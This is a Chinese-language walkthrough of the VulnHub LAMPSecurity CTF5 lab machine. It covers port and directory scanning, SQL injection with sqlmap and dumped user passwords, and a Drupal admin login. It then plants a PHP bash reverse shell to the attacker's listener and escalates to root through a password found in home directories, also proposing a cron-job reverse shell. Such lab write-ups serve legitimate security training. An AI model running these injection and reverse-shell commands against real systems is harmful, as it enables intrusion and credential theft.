靶机地址
https://www.vulnhub.com/entry/lampsecurity-ctf5
信息收集
主机探测
sudo nmap -sn 192.168.88.0/24
目标靶机IP地址192.168.88.140
初步扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.88.140
可以知道开启了以下端口
22 ssh 25 smtp 80 http
110 pop3 111 rpcbind 139 netbios-ssn
143 imap 445 microsoft-ds 901 samba-swat
3306 mysql 40138 unknow
详细信息扫描
sudo nmap -sT -sC -sV -O -p 22,25,80,110,111,139,143,445,901,3306 192.168.88.140
可以发现信息量很大,很多端口开放,还有很多目录。
漏洞脚本扫描
sudo nmap --script=vuln -p 22,25,80,110,111,139,143,445,901,3306 192.168.88.140
UDP扫描
sudo nmap -sU --top-ports 100 192.168.88.140
68/udp open|filtered dhcpc
111/udp open rpcbind
631/udp open|filtered ipp
5353/udp open zeroconf
32768/udp open omad
目录扫描
sudo dirb http://192.168.88.140
sudogobusterdir -uhttp://192.168.88.140-w/usr/share/dirbuster/wordlists/directory-list-2.3-medi
um.txt -x .txt,.php,.html,.jpg,.jpeg,.zip,.rar,.ini,.log
没扫全信息量太多
WEB指纹识别
发现NanoCMS
发现durpalCMS
php版本信息
信息总结
80端口可能有SQL注入,数据库为mysql版本大于5.0,可能获取user表信息登录cms后台或其余后台,php版本已知,可能有可利用漏洞,apache版本较老可能有漏洞,openssh版本较老可能有漏洞,操作系统为Linux。
猜测该靶机思路:SQL注入->获取后台账户密码->登录后台->利用漏洞获取反弹shell->提权
22 OpenSSH 4.7 25 Sendmail 8.14.1/8.14.1
80 Apache httpd 2.2.6 ((Fedora)) (可能存在SQL注入)
110 ipop3d 2006k.101 接收邮件
111 rpcbind 动态端口分配
139 Samba smbd 3.X - 4.X (workgroup: MYGROUP) windows和liunx文件打印和共享
143 University of Washington IMAP imapd 2006k.396 (time zone: -0400) 邮件访问
445 open microsoft-ds Samba smbd 3.0.26a-6.fc8 (workgroup: MYGROUP) 共享文件
901 open samba-swat SambaSWATadministrationserver 后台
3306/tcp open MySQL 5.0.45
OS:Linux
目录:
/info.php phpinfo()页面
/index.php 主页面
/mail 邮件后台登录
/list 注册 疑似存在SQL注入
/phpmyadmin/ 3.1.4.0
/squirrelmail/src/login.php: squirrelmail version 1.4.11-1.fc8
/squirrelmail/images/sm_logo.png: SquirrelMail
/icons/: Potentially interesting folder w/ directory listing
/inc/: Potentially interesting folder
可能存在的漏洞
cve2017-1001000 存在的漏洞
SQL注入
漏洞寻找与利用
漏洞寻找
访问80端口主页面,发现一处疑似注册的地方。
发现是注册界面,可能存在SQL注入
尝试用输入’,发现存在注入点,并且暴露了表的字段。
使用' or 1=1 -- qwe,发现存在SQL注入。
漏洞利用
使用sqlmap爆破数据库
sudo sqlmap -r sql --dbs --dump --batch
可以看到一共有三种注入方式,布尔盲注,时间盲注,报错注入
同时得到了一些用户
jennifer e3f4150c722e6376d87cd4d43fef0bc5
patrick password
andy newdrupalpass
loren lorenpass
amy temppass
尝试利用上述账户密码登录durpalCMS
发现用patrick password 成功登录,并且是管理员
反弹shell
发现可以执行php代码
成功获取反弹shell
kali:sudo nc -lvp 4444
php代码:<?php exec(/bin/bash -c 'bash -i >& /dev/tcp/192.168.88.129/4444 0>&1'); ?>
权限提升
权限查看
查看权限和操作系统版本
发现是一个权限比较低的用户
可以查看/etc/passwd,不能查看/etc/shadow
敏感文件提权
尝试搜索密码
grep -R -i pass 2 /home/* 2>/dev/null|sort
发现疑似root密码的文件
发现疑似root密码50$cent
尝试切换用户到root
成功登录到root,提权成功。没有flag
计划任务提权?(可能)
发现有4个root权限的计划任务
发现有一个所有人可读写执行的文件,可以echo “xxx”>>0logwatch写入反弹shell获取root用户权限,但是因为要每天凌晨4点才半执行,且不能更改系统时间我就没试了,理论上是可行的,只不过如果不是靶机的话很有可能直接被发现。
总结
本次渗透主要考察信息收集能力,大致流程为SQL注入获取后台密码,登陆后台利用命令执行PHP代码获取反弹shell,搜寻敏感文件获取root密码,然后切换到root提权成功。